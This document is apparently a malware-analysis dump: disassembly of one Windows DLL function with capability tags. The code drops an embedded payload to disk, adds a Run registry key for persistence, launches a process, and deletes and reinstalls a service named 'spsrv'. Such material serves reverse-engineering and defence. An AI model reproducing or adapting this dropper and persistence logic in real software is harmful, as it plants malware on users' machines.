Function at 0x18000b310
Capabilities:
Create directory
Create process on windows
Delete service
Get common file path
Persist via run registry key
Set registry value
Start service
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x8e0]
sub rsp, 0x9e0
mov r14, rcx
lea rcx, [rbp - 0x40]
call fcn.18000368c
lea rcx, [rsp + 0x70]
call fcn.1800037ec
movzx edx, byte [rbp + 0x6a]
movzx r8d, byte [rbp + 0x69]
movzx r9d, byte [rbp + 0x68]
movzx ecx, word [rbp + 0x62]
movzx eax, byte [rbp + 0x6b]
movzx r10d, byte [rbp + 0x67]
movzx r11d, byte [rbp + 0x66]
movzx ebx, byte [rbp + 0x65]
movzx edi, byte [rbp + 0x64]
movzx esi, word [rbp + 0x60]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x60], edx
mov dword [rsp + 0x58], r8d
mov dword [rsp + 0x50], r9d
mov r9d, dword [rbp + 0x5c]
mov dword [rsp + 0x48], r10d
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], ecx
lea rcx, [rbp - 0x70]
lea r8, str._08x_04x_04x_02x_02x_02x_02x_02x_02x_02x_02x
mov edx, 0x28
mov dword [rsp + 0x20], esi
call fcn.18000ca68
xor r8d, r8d
lea r12d, [r8 + 1]
lea r9, [rbp - 0x70]
lea rcx, [rsp + 0x70]
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor r15d, r15d
mov byte [rbp - 0x70], 0x47
mov edx, r15d
add rdx, r12
lea rax, str.Global_
mov cl, byte [rdx + rax]
mov byte [rbp + rdx - 0x70], cl
test cl, cl
jne 0x18000b3e0
mov dword [rsp + 0x68], 0xce
mov dword [rsp + 0x60], 0x83
mov dword [rsp + 0x58], 0x56
mov dword [rsp + 0x50], 0x13
mov dword [rsp + 0x48], 0xeb
mov dword [rsp + 0x40], 0x90
mov dword [rsp + 0x38], 0xb5
mov dword [rsp + 0x30], 0xb7
lea r8, str._08x_04x_04x_02x_02x_02x_02x_02x_02x_02x_02x
lea rcx, [rbp - 0x69]
mov r9d, 0xf9584255
mov edx, 0x21
mov dword [rsp + 0x28], 0x409d
mov dword [rsp + 0x20], 0x56a9
call fcn.18000ca68
lea r9, [rbp - 0x70]
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movzx eax, word [r14]
mov word [rbp + 0xe0], ax
test ax, ax
je 0x18000b4ef
lea rax, [rbp + 0xe0]
mov rdx, r14
lea rcx, [rbp + 0xe0]
sub rdx, rax
lea rcx, [rcx + 2]
movzx eax, word [rdx + rcx]
mov word [rcx], ax
test ax, ax
jne 0x18000b4df
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8, [rbp + 0x928]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x920]
mov dword [rbp + 0x928], r15d
mov dword [rbp + 0x920], eax
call fcn.180007814
mov eax, dword [rbp + 0x928]
lea rdx, [0x1800104b4]
lea rcx, [rbp + 0xe0]
mov word [rsp + rax*2 + 0x70], r15w
call fcn.18000cad0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xe0]
call fcn.18000cad0
lea rcx, [rbp + 0xe0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rbp + 0x928]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x920]
mov dword [rbp + 0x928], r15d
call fcn.180007814
mov eax, dword [rbp + 0x928]
lea rdx, [0x1800104b4]
lea rcx, [rbp + 0xe0]
mov word [rsp + rax*2 + 0x70], r15w
call fcn.18000cad0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xe0]
call fcn.18000cad0
lea rdx, [0x1800104a8]
lea rcx, [rbp + 0xe0]
call fcn.18000cad0
mov rax, qword [0x180013578]
lea r9, [rbp + 0x938]
mov edx, dword [rax + 0x18]
mov ebx, r15d
add rdx, rax
lea rax, [rbp + 0x928]
mov qword [rsp + 0x20], rax
call fcn.180002988
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0xe0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000b655
mov edi, dword [rbp + 0x928]
mov rdx, qword [rbp + 0x938]
lea r9, [rbp + 0x930]
mov r8d, edi
mov rcx, rax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000b64c
cmp dword [rbp + 0x930], edi
cmove ebx, r12d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rbp + 0x938]
mov rcx, qword [0x180013580]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x18000b7ae
lea r8, [rbp + 0x928]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x920]
mov dword [rbp + 0x928], r15d
call fcn.180007814
mov eax, dword [rbp + 0x928]
mov word [rbp + rax*2 - 0x70], r15w
mov eax, dword [rbp + 0x48]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
neg eax
lea rax, [rbp + 0x930]
mov rcx, 0xffffffff80000001
sbb r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
and r9d, 0x100
or r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000b72f
mov ecx, r15d
cmp word [rbp + 0xe0], r15w
je 0x18000b6f8
lea rax, [rbp + 0xe0]
lea rax, [rax + 2]
add ecx, r12d
cmp word [rax], r15w
jne 0x18000b6eb
lea eax, [rcx + rcx]
mov rcx, qword [rbp + 0x930]
lea rdx, [rbp - 0x70]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe0]
mov r9d, r12d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x930]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea rcx, [rbp + 0x78]
lea r8d, [rdx + 0x60]
call sub.ntdll.dll_memset
xor eax, eax
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 0xc000000
mov dword [rbp + 0x70], 0x68
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000b7ae
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea rax, [rbp + 0x6e0]
xor r8d, r8d
lea edx, [r9 + 0x25]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
movzx eax, word [rbp + 0x6e0]
mov word [rbp + 0x2e0], ax
test ax, ax
je 0x18000b7fb
mov rcx, r15
lea rcx, [rcx + 2]
movzx eax, word [rbp + rcx + 0x6e0]
mov word [rbp + rcx + 0x2e0], ax
test ax, ax
jne 0x18000b7e2
lea r8, [rbp + 0x928]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x920]
mov dword [rbp + 0x928], r15d
call fcn.180007814
mov eax, dword [rbp + 0x928]
lea rdx, [0x1800104b4]
lea rcx, [rbp + 0x2e0]
mov word [rbp + rax*2 - 0x70], r15w
call fcn.18000cad0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2e0]
call fcn.18000cad0
lea rdx, [0x1800104a8]
lea rcx, [rbp + 0x2e0]
call fcn.18000cad0
mov rax, qword [0x180013578]
mov qword [rsp + 0x30], r15
mov r14d, dword [rax + 0x18]
mov esi, dword [rax + 0x1c]
lea rcx, [rbp + 0x2e0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
add r14, rax
mov ebx, r15d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000ba16
lea r9, [rbp + 0x928]
mov r8d, esi
mov rdx, r14
mov rcx, rax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000b8d2
cmp dword [rbp + 0x928], esi
cmove ebx, r12d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x18000ba16
movzx eax, word [rbp + 0x2e0]
mov word [rbp + 0x4e0], ax
test ax, ax
je 0x18000b912
mov rcx, r15
lea rcx, [rcx + 2]
movzx eax, word [rbp + rcx + 0x2e0]
mov word [rbp + rcx + 0x4e0], ax
test ax, ax
jne 0x18000b8f9
lea rdx, [0x180011090]
lea rcx, [rbp + 0x4e0]
call fcn.18000cad0
mov r14d, 0xf003f
xor edx, edx
mov r8d, r14d
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rsi, str.spsrv
mov rdi, rax
test rax, rax
je 0x18000b98c
mov r8d, 0x10020
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x18000b983
lea r8, [rbp - 0x70]
mov edx, r12d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r8d, r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test rax, rax
je 0x18000ba16
lea rcx, [rbp + 0x4e0]
mov rdx, rax
call fcn.180008d54
test eax, eax
je 0x18000ba16
mov r8d, r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x18000ba16
mov r8d, 0x10
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x18000ba0d
lea rax, [0x180010a80]
lea r8, [rsp + 0x70]
mov edx, 2
mov rcx, rdi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add rsp, 0x9e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret